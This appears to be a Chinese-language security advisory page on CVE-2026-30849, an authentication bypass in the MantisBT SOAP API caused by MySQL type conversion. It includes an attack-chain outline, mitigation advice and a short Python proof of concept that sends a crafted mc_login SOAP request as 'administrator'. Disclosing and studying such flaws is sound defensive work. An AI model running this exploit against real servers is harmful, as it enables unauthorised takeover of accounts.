IPBUF安全漏洞报告
English
CVE-2026-30849 CVSS 9.8 严重

CVE-2026-30849 MantisBT SOAP API认证绕过漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-30849
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mantis Bug Tracker

相关标签

认证绕过MantisBTSOAP类型混淆CVE-2026-30849

漏洞概述

MantisBT在2.28.1版本之前存在严重的身份验证绕过漏洞。当后端使用MySQL数据库时,SOAP API因未严格检查密码参数类型,导致攻击者利用MySQL隐式类型转换特性,在仅知晓用户名的情况下即可绕过密码验证,进而执行未授权操作。

技术细节

该漏洞源于MantisBT SOAP API在处理登录请求时的类型混淆问题。由于PHP弱类型比较或MySQL数据库的隐式类型转换特性,攻击者发送特制的SOAP信封,将密码字段设为会被转换为0的字符串(如非数字字符串)。若后端验证逻辑依赖弱类型比较(如strcmp或数据库查询),攻击者便可在不知晓真实密码的情况下通过验证,获取目标用户的API会话权限,从而控制账户并执行敏感API功能。

攻击链分析

STEP 1
信息收集
识别目标系统使用MantisBT,确认版本低于2.28.1且后端数据库为MySQL。
STEP 2
构造载荷
利用已知用户名,构造包含恶意密码参数(利用类型转换缺陷)的SOAP请求信封。
STEP 3
发送请求
将构造好的SOAP请求发送至目标服务器的/api/soap/mantisconnect.php接口。
STEP 4
绕过认证
服务器因未正确校验参数类型,错误地验证了用户身份,返回会话令牌或用户信息。
STEP 5
执行操作
利用获取的权限调用SOAP API函数,读取数据或执行其他未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target/mantisbt/api/soap/mantisconnect.php" # Exploit: Type juggling in password parameter # Sending a string that MySQL converts to 0 soap_payload = """<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://futureware.biz/mantisconnect"> <SOAP-ENV:Body> <ns1:mc_login> <ns1:username>administrator</ns1:username> <ns1:password>non_numeric_string_converts_to_0</ns1:password> </ns1:mc_login> </SOAP-ENV:Body> </SOAP-ENV:Envelope>""" headers = { "Content-Type": "text/xml", "SOAPAction": "http://futureware.biz/mantisconnect#mc_login" } r = requests.post(target_url, data=soap_payload, headers=headers) print(r.text)

影响范围

MantisBT < 2.28.1

防御指南

临时缓解措施
建议立即禁用SOAP API以降低风险,并尽快升级到修复版本2.28.1。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表